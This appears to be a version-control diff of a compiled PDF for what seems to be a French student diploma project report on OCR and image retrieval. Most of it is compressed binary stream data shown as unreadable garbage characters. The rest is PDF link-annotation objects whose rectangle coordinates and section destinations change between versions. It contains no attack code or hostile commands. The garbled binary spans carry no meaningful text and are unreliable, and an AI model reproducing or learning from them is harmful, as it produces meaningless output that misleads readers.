Jx6.Q J`TK`T>g>F%|0*ٸF%|0*Q Jx6.Q J`T(Q J`TK`T>g>F%|0*ٸF%|0*Q Jx6.8M?SU%8?*U~q~Z~w臥Ż?x}x/~}v❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸx'3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸx'3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.❍w6.ٸxg(ٸxg❍w6.ь❍w6.ٸxg(ٸxg❍w6.ь❍w6.ٸxgr;l\qfl\q;hF;l\qfl\q;hF;l\qNfl\q;hF;l\qfl\q;hF;l\qfl\q;hw6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w2xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG3w6.ٸxg❍w4xg❍w6.ٸxG\q;l\;l\q;Qq;l\;l\q;Qq;l\;l\q;Qq;l\;l\q;Qq;l\;纵'wпx|rx?vn5~K:ǼQV?;||iL?$s|<18Ȼ2|'*-:\#[}+L]`2WگdOmx%so<91?Ǖ-Xo}կj%S{:WVz,^u{ȝU?/wd;hJūymMn4. 6u̫.1u̫d'.X:~b1;=V>ck-=]8{]&S>==GWz,:~c>꘯KV l^eXx;Gz,Jm=cq^^u鸧c~1׃1wC'S\x1wU=c~3=zǢNXyoXtfǢ#J2u̫pmx,:үx0u|_Z{x,:O+<Ώltu|u:ޏK?鱨]Xy.lWxt}tuP6uWrz,"P6uPZH.W;ߟW;ߟ癮W;_;]v7-s#]v_?~^z#΃ytڑ~xՎ $]v_?^z#ڶtڑ^tڑ^Wz#:}jGk߄H~\z#8jGqÆUfodyp=[^H.hz#Utڑz#jG]~M8jGh^HUB^H`x~V_zSҊW:M(]:z!]u<_W:u6M׫{Ϻ`M׫{ϵ3S3_╮W=utz|g:gj^]=u#^gz#^u4zuWؽckWWx]gMX{@(_]WWi t+_]ﯮWWiMzuu#1g^]g1JMCa^]x#_]%Kxu}^]=^^2%WWF^]=^R?ȥգK"Jx=^R'tz% +?__/W02|B i>!'t~'}<D|BF|B+ i&>!'t~'<X|BZ|B{ i0>!-'t~N'<Vl|Bn|B i:>!m't~'<Ҁ|B}҄|@ސOH# iE>>{F>!3C iI>!M'-4&Ҝ|BړOH iQ> O'M4*VҬ|@ޕOH iY>!M'm<.Ҽ|BڗOHya>!M'42V|BڙOHC ii>!M46|Bڛȃ iq>!M'4:W|BڝOH iyјOH i|>!'?}BOHy>!'C}BOH[ i>!9G"}Bț i>!'YK2}BOH i> 'yOB}@OH i>!'SR}Bg4X}BZOHs i> '4Y6h}@^OH i>! '<]x}BZOHy>! '4a6ZOH+ i>!'!dҖ}BOHky>!'Ah&}BOH i>!alҶ}Bg4Ҽ}BڷOH i> O'4rV}@޹OHC i>!M'!M'4zV}BڽOH i>!M4~}Bڿ i?!M' 4W ~BOHC i ? O'-4>"~BOHy?!'Y2~BOH i?!yB~B i$?!'R~BOH[ i,? 'b~@OH i4?!'r~BOHyս<2~/{ڳ~)i*~U1Q__/Oj}*d?׶?ǩ8_?_?`} ѿ۫Tu)rx}>?h+˪w"󀎿???!g&g4 endstream endobj 8 0 obj @@ -546,7 +397,7 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 7 0 R /Resources 4 0 R -/Annots [ 9 0 R 10 0 R 11 0 R 12 0 R 13 0 R 14 0 R 15 0 R 16 0 R 17 0 R 18 0 R 19 0 R 20 0 R 21 0 R 22 0 R 23 0 R 24 0 R 25 0 R 26 0 R 27 0 R 28 0 R 29 0 R 30 0 R 31 0 R 32 0 R 33 0 R 34 0 R 35 0 R 36 0 R 37 0 R 38 0 R 39 0 R 40 0 R 41 0 R 42 0 R 43 0 R 44 0 R 45 0 R 46 0 R 47 0 R 48 0 R 49 0 R 50 0 R 51 0 R 52 0 R 53 0 R 54 0 R 55 0 R 56 0 R 57 0 R 58 0 R 59 0 R 60 0 R 61 0 R 62 0 R 63 0 R 64 0 R 65 0 R 66 0 R 67 0 R 68 0 R 69 0 R 70 0 R 71 0 R 72 0 R 73 0 R 74 0 R 75 0 R 76 0 R 77 0 R 78 0 R 79 0 R 80 0 R 81 0 R 82 0 R 83 0 R 84 0 R 85 0 R 86 0 R 87 0 R 88 0 R 89 0 R 90 0 R 91 0 R 92 0 R 93 0 R 94 0 R 95 0 R 96 0 R 97 0 R 98 0 R 99 0 R 100 0 R 101 0 R 102 0 R 103 0 R 104 0 R 105 0 R 106 0 R 107 0 R 108 0 R 109 0 R 110 0 R 111 0 R 112 0 R 113 0 R ] +/Annots [ 9 0 R 10 0 R 11 0 R 12 0 R 13 0 R 14 0 R 15 0 R 16 0 R 17 0 R 18 0 R 19 0 R 20 0 R 21 0 R 22 0 R 23 0 R 24 0 R 25 0 R 26 0 R 27 0 R 28 0 R 29 0 R 30 0 R 31 0 R 32 0 R 33 0 R 34 0 R 35 0 R 36 0 R 37 0 R 38 0 R 39 0 R 40 0 R 41 0 R 42 0 R 43 0 R 44 0 R 45 0 R 46 0 R 47 0 R 48 0 R 49 0 R 50 0 R 51 0 R 52 0 R 53 0 R 54 0 R 55 0 R 56 0 R 57 0 R 58 0 R 59 0 R 60 0 R 61 0 R 62 0 R 63 0 R 64 0 R 65 0 R 66 0 R 67 0 R 68 0 R 69 0 R 70 0 R 71 0 R 72 0 R 73 0 R 74 0 R 75 0 R 76 0 R 77 0 R 78 0 R 79 0 R 80 0 R 81 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> @@ -555,7 +406,7 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 45.466457 717.995622 557.809134 699.885622 ] +/Rect [ 47.386457 707.147622 555.889134 686.477622 ] /BS << /W 0 >> @@ -566,7 +417,7 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 45.466457 713.435622 59.641994 700.635622 ] +/Rect [ 47.386457 701.627622 63.334211 687.227622 ] /BS << /W 0 >> @@ -577,7 +428,7 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 552.719534 713.435622 557.809134 700.635622 ] +/Rect [ 550.163060 701.627622 555.889134 687.227622 ] /BS << /W 0 >> @@ -588,7 +439,7 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 699.885622 557.809134 681.775622 ] +/Rect [ 55.386457 686.477622 555.889134 665.807622 ] /BS << /W 0 >> @@ -599,7 +450,7 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 695.325622 72.731593 682.525622 ] +/Rect [ 55.386457 680.957622 77.060285 666.557622 ] /BS << /W 0 >> @@ -610,7 +461,7 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 552.719534 695.325622 557.809134 682.525622 ] +/Rect [ 550.163060 680.957622 555.889134 666.557622 ] /BS << /W 0 >> @@ -621,3209 +472,2992 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 681.775622 557.809134 663.665622 ] +/Rect [ 63.386457 665.807622 555.889134 645.137622 ] /BS << /W 0 >> -/Dest (.:cahier-des-charges) +/Dest (.:resume) >> endobj 16 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 677.215622 72.731593 664.415622 ] +/Rect [ 63.386457 660.287622 93.647199 645.887622 ] /BS << /W 0 >> -/Dest (.:cahier-des-charges) +/Dest (.:resume) >> endobj 17 0 obj << /Type /Annot /Subtype /Link -/Rect [ 552.719534 677.215622 557.809134 664.415622 ] +/Rect [ 550.163060 660.287622 555.889134 645.887622 ] /BS << /W 0 >> -/Dest (.:cahier-des-charges) +/Dest (.:resume) >> endobj 18 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 663.665622 557.809134 645.555622 ] +/Rect [ 63.386457 645.137622 555.889134 624.467622 ] /BS << /W 0 >> -/Dest (.:differences-sur-le-cahier-des-charges) +/Dest (.:abstract) >> endobj 19 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 659.105622 72.731593 646.305622 ] +/Rect [ 63.386457 639.617622 93.647199 625.217622 ] /BS << /W 0 >> -/Dest (.:differences-sur-le-cahier-des-charges) +/Dest (.:abstract) >> endobj 20 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 659.105622 557.809134 646.305622 ] +/Rect [ 544.436985 639.617622 555.889134 625.217622 ] /BS << /W 0 >> -/Dest (.:differences-sur-le-cahier-des-charges) +/Dest (.:abstract) >> endobj 21 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 645.555622 557.809134 627.445622 ] +/Rect [ 63.386457 624.467622 555.889134 603.797622 ] /BS << /W 0 >> -/Dest (.:planning-previsionnel) +/Dest (.:description-du-besoin) >> endobj 22 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 640.995622 72.731593 628.195622 ] +/Rect [ 63.386457 618.947622 93.647199 604.547622 ] /BS << /W 0 >> -/Dest (.:planning-previsionnel) +/Dest (.:description-du-besoin) >> endobj 23 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 640.995622 557.809134 628.195622 ] +/Rect [ 544.436985 618.947622 555.889134 604.547622 ] /BS << /W 0 >> -/Dest (.:planning-previsionnel) +/Dest (.:description-du-besoin) >> endobj 24 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 627.445622 557.809134 609.335622 ] +/Rect [ 55.386457 603.797622 555.889134 583.127622 ] /BS << /W 0 >> -/Dest (.:planning-effectif-et-differences) +/Dest (.:cahier-des-charges) >> endobj 25 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 622.885622 72.731593 610.085622 ] +/Rect [ 55.386457 598.277622 77.060285 583.877622 ] /BS << /W 0 >> -/Dest (.:planning-effectif-et-differences) +/Dest (.:cahier-des-charges) >> endobj 26 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 622.885622 557.809134 610.085622 ] +/Rect [ 544.436985 598.277622 555.889134 583.877622 ] /BS << /W 0 >> -/Dest (.:planning-effectif-et-differences) +/Dest (.:cahier-des-charges) >> endobj 27 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 609.335622 557.809134 591.225622 ] +/Rect [ 63.386457 583.127622 555.889134 562.457622 ] /BS << /W 0 >> -/Dest (.:analyse-fonctionnelle) +/Dest (.:projet) >> endobj 28 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 604.775622 72.731593 591.975622 ] +/Rect [ 63.386457 577.607622 93.647199 563.207622 ] /BS << /W 0 >> -/Dest (.:analyse-fonctionnelle) +/Dest (.:projet) >> endobj 29 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 604.775622 557.809134 591.975622 ] +/Rect [ 544.436985 577.607622 555.889134 563.207622 ] /BS << /W 0 >> -/Dest (.:analyse-fonctionnelle) +/Dest (.:projet) >> endobj 30 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 591.225622 557.809134 573.115622 ] +/Rect [ 63.386457 562.457622 555.889134 541.787622 ] /BS << /W 0 >> -/Dest (.:analyse-organique) +/Dest (.:realisation) >> endobj 31 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 586.665622 72.731593 573.865622 ] +/Rect [ 63.386457 556.937622 93.647199 542.537622 ] /BS << /W 0 >> -/Dest (.:analyse-organique) +/Dest (.:realisation) >> endobj 32 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 586.665622 557.809134 573.865622 ] +/Rect [ 544.436985 556.937622 555.889134 542.537622 ] /BS << /W 0 >> -/Dest (.:analyse-organique) +/Dest (.:realisation) >> endobj 33 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 573.115622 557.809134 555.005622 ] +/Rect [ 63.386457 541.787622 555.889134 521.117622 ] /BS << /W 0 >> -/Dest (.:tests) +/Dest (.:cas-dutilisation) >> endobj 34 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 568.555622 72.731593 555.755622 ] +/Rect [ 63.386457 536.267622 93.647199 521.867622 ] /BS << /W 0 >> -/Dest (.:tests) +/Dest (.:cas-dutilisation) >> endobj 35 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 568.555622 557.809134 555.755622 ] +/Rect [ 544.436985 536.267622 555.889134 521.867622 ] /BS << /W 0 >> -/Dest (.:tests) +/Dest (.:cas-dutilisation) >> endobj 36 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 555.005622 557.809134 536.895622 ] +/Rect [ 63.386457 521.117622 555.889134 500.447622 ] /BS << /W 0 >> -/Dest (.:resume-des-difficultes-techniques) +/Dest (.:difficultes-techniques) >> endobj 37 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 550.445622 72.731593 537.645622 ] +/Rect [ 63.386457 515.597622 93.647199 501.197622 ] /BS << /W 0 >> -/Dest (.:resume-des-difficultes-techniques) +/Dest (.:difficultes-techniques) >> endobj 38 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 550.445622 557.809134 537.645622 ] +/Rect [ 544.436985 515.597622 555.889134 501.197622 ] /BS << /W 0 >> -/Dest (.:resume-des-difficultes-techniques) +/Dest (.:difficultes-techniques) >> endobj 39 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 536.895622 557.809134 518.785622 ] +/Rect [ 55.386457 500.447622 555.889134 479.777622 ] /BS << /W 0 >> -/Dest (.:optimisation-du-programme) +/Dest (.:differences-sur-le-cahier-des-charges) >> endobj 40 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 532.335622 77.821193 519.535622 ] +/Rect [ 55.386457 494.927622 77.060285 480.527622 ] /BS << /W 0 >> -/Dest (.:optimisation-du-programme) +/Dest (.:differences-sur-le-cahier-des-charges) >> endobj 41 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 532.335622 557.809134 519.535622 ] +/Rect [ 544.436985 494.927622 555.889134 480.527622 ] /BS << /W 0 >> -/Dest (.:optimisation-du-programme) +/Dest (.:differences-sur-le-cahier-des-charges) >> endobj 42 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 518.785622 557.809134 500.675622 ] +/Rect [ 55.386457 479.777622 555.889134 459.107622 ] /BS << /W 0 >> -/Dest (.:ethique-du-projet) +/Dest (.:planning-previsionnel) >> endobj 43 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 514.225622 77.821193 501.425622 ] +/Rect [ 55.386457 474.257622 77.060285 459.857622 ] /BS << /W 0 >> -/Dest (.:ethique-du-projet) +/Dest (.:planning-previsionnel) >> endobj 44 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 514.225622 557.809134 501.425622 ] +/Rect [ 544.436985 474.257622 555.889134 459.857622 ] /BS << /W 0 >> -/Dest (.:ethique-du-projet) +/Dest (.:planning-previsionnel) >> endobj 45 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 500.675622 557.809134 482.565622 ] +/Rect [ 63.386457 459.107622 555.889134 438.437622 ] /BS << /W 0 >> -/Dest (.:ameliorations-futures) +/Dest (.:taches) >> endobj 46 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 496.115622 77.821193 483.315622 ] +/Rect [ 63.386457 453.587622 93.647199 439.187622 ] /BS << /W 0 >> -/Dest (.:ameliorations-futures) +/Dest (.:taches) >> endobj 47 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 496.115622 557.809134 483.315622 ] +/Rect [ 544.436985 453.587622 555.889134 439.187622 ] /BS << /W 0 >> -/Dest (.:ameliorations-futures) +/Dest (.:taches) >> endobj 48 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 482.565622 557.809134 464.455622 ] +/Rect [ 71.386457 438.437622 555.889134 417.767622 ] /BS << /W 0 >> -/Dest (.:conclusion) +/Dest (.:pt) >> endobj 49 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 478.005622 77.821193 465.205622 ] +/Rect [ 544.436985 432.917622 555.889134 418.517622 ] /BS << /W 0 >> -/Dest (.:conclusion) +/Dest (.:pt) >> endobj 50 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 478.005622 557.809134 465.205622 ] +/Rect [ 79.386457 417.767622 555.889134 397.097622 ] /BS << /W 0 >> -/Dest (.:conclusion) +/Dest (.:pt1-preparation-au-travail-de-diplome-2) >> endobj 51 0 obj << /Type /Annot /Subtype /Link -/Rect [ 45.466457 464.455622 557.809134 446.345622 ] +/Rect [ 544.436985 412.247622 555.889134 397.847622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:cahier-des-charges) +/Dest (.:pt1-preparation-au-travail-de-diplome-2) >> endobj 52 0 obj << /Type /Annot /Subtype /Link -/Rect [ 45.466457 459.895622 59.641994 447.095622 ] +/Rect [ 71.386457 397.097622 555.889134 376.427622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:cahier-des-charges) +/Dest (.:dt) >> endobj 53 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 459.895622 557.809134 447.095622 ] +/Rect [ 544.436985 391.577622 555.889134 377.177622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:cahier-des-charges) +/Dest (.:dt) >> endobj 54 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 446.345622 557.809134 428.235622 ] +/Rect [ 79.386457 376.427622 555.889134 355.757622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:contexte) +/Dest (.:dt1-creation-du-poster-1) >> endobj 55 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 441.785622 72.731593 428.985622 ] +/Rect [ 544.436985 370.907622 555.889134 356.507622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:contexte) +/Dest (.:dt1-creation-du-poster-1) >> endobj 56 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 441.785622 557.809134 428.985622 ] +/Rect [ 79.386457 355.757622 555.889134 335.087622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:contexte) +/Dest (.:dt2-documentation-analyse-de-lexistant-2) >> endobj 57 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 428.235622 557.809134 410.125622 ] +/Rect [ 544.436985 350.237622 555.889134 335.837622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:projet) +/Dest (.:dt2-documentation-analyse-de-lexistant-2) >> endobj 58 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 423.675622 72.731593 410.875622 ] +/Rect [ 79.386457 335.087622 555.889134 314.417622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:projet) +/Dest (.:dt3-documentation-analyse-organique-5) >> endobj 59 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 423.675622 557.809134 410.875622 ] +/Rect [ 544.436985 329.567622 555.889134 315.167622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:projet) +/Dest (.:dt3-documentation-analyse-organique-5) >> endobj 60 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 410.125622 557.809134 392.015622 ] +/Rect [ 79.386457 314.417622 555.889134 293.747622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:realisation) +/Dest (.:dt4-documentation-analyse-fonctionnelle-2) >> endobj 61 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 405.565622 72.731593 392.765622 ] +/Rect [ 544.436985 308.897622 555.889134 294.497622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:realisation) +/Dest (.:dt4-documentation-analyse-fonctionnelle-2) >> endobj 62 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 405.565622 557.809134 392.765622 ] +/Rect [ 79.386457 293.747622 555.889134 273.077622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:realisation) +/Dest (.:dt5-documentation-tests-1) >> endobj 63 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 392.015622 557.809134 373.905622 ] +/Rect [ 544.436985 288.227622 555.889134 273.827622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:cas-dutilisation) +/Dest (.:dt5-documentation-tests-1) >> endobj 64 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 387.455622 72.731593 374.655622 ] +/Rect [ 79.386457 273.077622 555.889134 252.407622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:cas-dutilisation) +/Dest (.:dt6-documentation-reste-2) >> endobj 65 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 387.455622 557.809134 374.655622 ] +/Rect [ 544.436985 267.557622 555.889134 253.157622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:cas-dutilisation) +/Dest (.:dt6-documentation-reste-2) >> endobj 66 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 373.905622 557.809134 355.795622 ] +/Rect [ 71.386457 252.407622 555.889134 231.737622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:difficultes-techniques) +/Dest (.:pt_1) >> endobj 67 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 369.345622 72.731593 356.545622 ] +/Rect [ 544.436985 246.887622 555.889134 232.487622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:difficultes-techniques) +/Dest (.:pt_1) >> endobj 68 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 369.345622 557.809134 356.545622 ] +/Rect [ 79.386457 231.737622 555.889134 211.067622 ] /BS << /W 0 >> -/Dest (CahierDesCharges/:difficultes-techniques) +/Dest (.:pt1-programmation-recuperation-des-images-3) >> endobj 69 0 obj << /Type /Annot /Subtype /Link -/Rect [ 45.466457 355.795622 557.809134 337.685622 ] +/Rect [ 544.436985 226.217622 555.889134 211.817622 ] /BS << /W 0 >> -/Dest (jdb/:journal-de-bord) +/Dest (.:pt1-programmation-recuperation-des-images-3) >> endobj 70 0 obj << /Type /Annot /Subtype /Link -/Rect [ 45.466457 351.235622 59.641994 338.435622 ] +/Rect [ 79.386457 211.067622 555.889134 190.397622 ] /BS << /W 0 >> -/Dest (jdb/:journal-de-bord) +/Dest (.:pt2-programmation-ocr-5) >> endobj 71 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 351.235622 557.809134 338.435622 ] +/Rect [ 544.436985 205.547622 555.889134 191.147622 ] /BS << /W 0 >> -/Dest (jdb/:journal-de-bord) +/Dest (.:pt2-programmation-ocr-5) >> endobj 72 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 337.685622 557.809134 319.575622 ] +/Rect [ 79.386457 190.397622 555.889134 169.727622 ] /BS << /W 0 >> -/Dest (jdb/:mercredi-29-mars-2023) +/Dest (.:pt3-programmation-stockage-et-modele-5) >> endobj 73 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 333.125622 72.731593 320.325622 ] +/Rect [ 544.436985 184.877622 555.889134 170.477622 ] /BS << /W 0 >> -/Dest (jdb/:mercredi-29-mars-2023) +/Dest (.:pt3-programmation-stockage-et-modele-5) >> endobj 74 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 333.125622 557.809134 320.325622 ] +/Rect [ 79.386457 169.727622 555.889134 149.057622 ] /BS << /W 0 >> -/Dest (jdb/:mercredi-29-mars-2023) +/Dest (.:pt4-programmation-vue-de-lapp-5) >> endobj 75 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 319.575622 557.809134 301.465622 ] +/Rect [ 544.436985 164.207622 555.889134 149.807622 ] /BS << /W 0 >> -/Dest (jdb/:jeudi-30-mars-2023) +/Dest (.:pt4-programmation-vue-de-lapp-5) >> endobj 76 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 315.015622 72.731593 302.215622 ] +/Rect [ 79.386457 149.057622 555.889134 128.387622 ] /BS << /W 0 >> -/Dest (jdb/:jeudi-30-mars-2023) +/Dest (.:pt5-programmation-mise-en-commun-3) >> endobj 77 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 315.015622 557.809134 302.215622 ] +/Rect [ 544.436985 143.537622 555.889134 129.137622 ] /BS << /W 0 >> -/Dest (jdb/:jeudi-30-mars-2023) +/Dest (.:pt5-programmation-mise-en-commun-3) >> endobj 78 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 301.465622 557.809134 283.355622 ] +/Rect [ 71.386457 128.387622 555.889134 107.717622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-31032023) +/Dest (.:tt) >> endobj 79 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 296.905622 72.731593 284.105622 ] +/Rect [ 544.436985 122.867622 555.889134 108.467622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-31032023) +/Dest (.:tt) >> endobj 80 0 obj << /Type /Annot /Subtype /Link -/Rect [ 547.629935 296.905622 557.809134 284.105622 ] +/Rect [ 79.386457 107.717622 555.889134 87.047622 ] /BS << /W 0 >> -/Dest (jdb/:vendredi-31032023) +/Dest (.:tt1-tests-ocr-2) >> endobj 81 0 obj << /Type /Annot /Subtype /Link -/Rect [ 53.466457 283.355622 557.809134 265.245622 ] +/Rect [ 544.436985 102.197622 555.889134 87.797622 ] /BS << /W 0 >> -/Dest (jdb/:lundi-3-avril) +/Dest (.:tt1-tests-ocr-2) >> endobj 82 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 53.466457 278.795622 72.731593 265.995622 ] -/BS << -/W 0 ->> -/Dest (jdb/:lundi-3-avril) +/Filter /FlateDecode +/Length 54997 >> +stream +xͮ&I5FOx@B0ZL7t uzOuUa0SlTw<{c~?<q~~~?3ۺqiy޿XO'u^:־\$q/WA?jB[{γc~㾎go??}_ qD֑-ss=-1LgO hL ;CA6Q4*CaZd#636g쇓mF5D|:|xQ! #C6+6_W쇋m^+6zkuxlk: L[5D|F?b?D|8c?D|lb?|b?|~ۧk:c~:L7~g8kL5<6_+qk~8S?ČFo ph3f6m>ۑ8m>5lh%Q||^-S?m{ꇣ͘kf,S?mƢ9f;Jװ/6_w쇃m^O쇃mAm-É6cD;WNE>6sRmƄ,]Ëmd"]ËmF!Lb2.<θY:~Xh3:c mp3m^q?eUO7q)9~x~`= Q!q?e|~8Y1SOp⻤~8YS&u:xq?e^-LkNk:x]q?eb +d2Y'LA ':~d\-Lgꇓup2Y׌)up]q?eS&~d\OOb?dĪ2CAYS&=~d2YS&}:x?#C)u9~d|! f->#Lg:\q?eb!  C8~ +F`Zu Ƹ2QOLb?|Ss+̇m~|'\y u<ϸrbFS.q?ë)X݃~u+\'|drc²2 u_)ZOPOLR?DQ3~S6_q?l)Wg︟ru) * 0-\'}L0\q?S10+\m~5'\'ZF쇨hq?=L))<~uWOb̊)b︟'\'F쇨|E! ~! fb2!~:8WOXQxc?dOOX#\xH~:bꇋu%:bJp^WOY.A\:~b\gOY]=,5~b\3,A,S?\k:XS}:xq?e-,:xKyYfWXw&6xk㛸X.~ΟzO; R4Oo_7??)_57.q7y?{?\ Y^,k+_c53Ъɯ{?[Kq}2{+cQ ;2}E2O یFd~f`tX9"6gi~`3 P 쟀gfȰWf?ȼ2qFbqȬWxetx:jVb( <_ ۼ'7)B*koyTte>SacwLA;扡r36fFmgn :`pvRl90UO n1@%>U8#^)>8 +gk1𜽥R{XL5 :3pS{ةƽAR{fƽAzqoСaMXFm=ո7ЮjthX%gGqoСaH5 :tJƽAGqow4ո7;jtM5 :5S{İ͌ 'b1S{ƽATޠhqoajt"6_3ո7;jtM5 :`}jtG2ooKTޠxƽA,R{XpoTޠzƽAR{X֋5y{XK5 :`jt{|w: :0W7耵^qokTޠzƽA +y{7耵^qokTޠEPf?: :`jtZ/ո7耵^qoЁ/D#6ϸ{7耵^qo~: :A;>A#C7耵^qXK5 :`D u'pu':t:tx: :`jtXg\ǽA: :`jtZ/ոOau'pu':t:tx: :`jtZ/ո7耵^qoqK5t:tXq :q :AqqÊOO8WIx1耥L\1pbj'0:tq :\q :{@ƽAR{<*2 FK5tq :\q :ޠqGd(qK5 :0|z\}Kİ3>A+>AqqqokTޠzƽARz\}#>AqqÊOO7耞jt@H5thq :F\}3>A+>AqqqoTޠ&ȩ}->AqÈOau'pu':t:tx: :`j'pu':tq :f\}W\}+~T~:G!~:G!~T~:G!~:G!~O!~:G!~:CqÌ_:֯~Âsvw|onEkqΙ&$:x8?o}G` _?{?~B1D3B[E>޿/{EBBQ" +QXD! +(D-Da(,EBCQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBCQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBCQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBBQ3 +QxF! +(Da-D(<gBQ3 +QxF! +l! +(D(<gpBQ3 +QxF! +l! +(D(<gBQ3 +QxF! +l! +(D(<gBQ3 +QxF! +l! +(D(<gBQ3 +QxF! +l! +(D(<gBQ3 +QxF! +l! +(D(<gpBQ3 +QxF! +l! +(D(<gBQ3 +QxF! +l! +(D(<gBQ3 +QxF! +l! +(D(<gBQ3 +QxF! +l! +(D(w>EپW T@#G* +HxQ@#H${ȯ?= c-rslLn_4 as 